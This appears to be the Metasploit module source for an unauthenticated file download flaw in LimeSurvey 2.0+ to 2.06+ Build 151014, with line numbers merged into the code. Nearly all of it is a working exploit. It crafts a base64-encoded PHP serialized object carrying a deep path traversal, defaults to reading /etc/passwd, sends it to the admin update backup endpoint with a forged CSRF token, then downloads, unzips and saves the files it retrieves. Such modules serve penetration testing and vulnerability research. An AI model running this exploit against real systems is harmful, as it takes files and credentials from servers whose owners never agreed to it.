Path: blob/master/modules/auxiliary/admin/http/limesurvey_file_download.rb
19612 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45# for extracting files6require 'zip'78class MetasploitModule < Msf::Auxiliary9include Msf::Auxiliary::Report10include Msf::Exploit::Remote::HttpClient1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Limesurvey Unauthenticated File Download',17'Description' => %q{18This module exploits an unauthenticated file download vulnerability19in limesurvey between 2.0+ and 2.06+ Build 151014. The file is downloaded20as a ZIP and unzipped automatically, thus binary files can be downloaded.21},22'Author' => [23'Pichaya Morimoto', # Vulnerability Discovery24'Christian Mehlmauer' # Metasploit module25],26'License' => MSF_LICENSE,27'References' => [28['URL', 'https://sec-consult.com/vulnerability-lab/advisory/multiple-critical-vulnerabilities-in-lime-survey/'],29['URL', 'https://www.limesurvey.org/blog/22-security/136-limesurvey-security-advisory-10-2015'],30['URL', 'https://github.com/LimeSurvey/LimeSurvey/compare/2.06_plus_151014...2.06_plus_151016?w=1']31],32'DisclosureDate' => '2015-10-12',33'Notes' => {34'Stability' => [CRASH_SAFE],35'SideEffects' => [IOC_IN_LOGS],36'Reliability' => []37}38)39)4041register_options(42[43Opt::RPORT(80),44OptString.new('TARGETURI', [true, 'The base path to the limesurvey installation', '/']),45OptString.new('FILEPATH', [true, 'Path of the file to download', '/etc/passwd']),46OptInt.new('TRAVERSAL_DEPTH', [true, 'Traversal depth', 15])47]48)49end5051def filepath52datastore['FILEPATH']53end5455def traversal_depth56datastore['TRAVERSAL_DEPTH']57end5859def payload60traversal = '/..' * traversal_depth61file = "#{traversal}#{filepath}"62serialized = 'a:1:{i:0;O:16:"CMultiFileUpload":1:{s:4:"file";s:' + file.length.to_s + ':"' + file + '";}}'63Rex::Text.encode_base64(serialized)64end6566def unzip_file(zipfile)67zip_data = Hash.new68begin69Zip::File.open_buffer(zipfile) do |filezip|70filezip.each do |entry|71zip_data[::File.expand_path(entry.name)] = filezip.read(entry)72end73end74rescue Zip::Error => e75print_error("Error extracting ZIP: #{e}")76end77return zip_data78end7980def run81csrf_token = Rex::Text.rand_text_alpha(10)8283vars_post = {84'YII_CSRF_TOKEN' => csrf_token,85'destinationBuild' => Rex::Text.rand_text_alpha(5),86'datasupdateinfo' => payload87}8889res = send_request_cgi({90'method' => 'POST',91'uri' => normalize_uri(target_uri, 'index.php', 'admin', 'update', 'sa', 'backup'),92'cookie' => "YII_CSRF_TOKEN=#{csrf_token}",93'vars_post' => vars_post94})9596if res && res.code == 200 && res.body && res.body.include?('Download this file')97match = res.body.match(%r{<div class="updater-background">\s+<p class="success " style="text-align: left;">\s+<strong>[^<]+</strong>\s+<br/>\s+([^<]+)<br/>\s+<a class="btn btn-success" href="([^"]+)" title="Download this file">Download this file</a>})98if match99local_path = match[1]100download_url = match[2]101print_status("File saved to #{local_path}")102print_status("Downloading backup from URL #{download_url}")103104res = send_request_cgi({105'method' => 'GET',106'uri' => download_url107})108109if res && res.code == 200110unzipped = unzip_file(res.body)111112unzipped.each do |filename, content|113print_good("Filename: #{filename}")114print_good(content)115116path = store_loot(117'limesurvey.http',118'application/octet-stream',119rhost,120content,121filename122)123print_good("File saved in: #{path}")124end125else126print_error('Failed to download file')127end128else129print_error('Failed to download file')130end131else132print_error('Failed to download file')133end134end135end136137138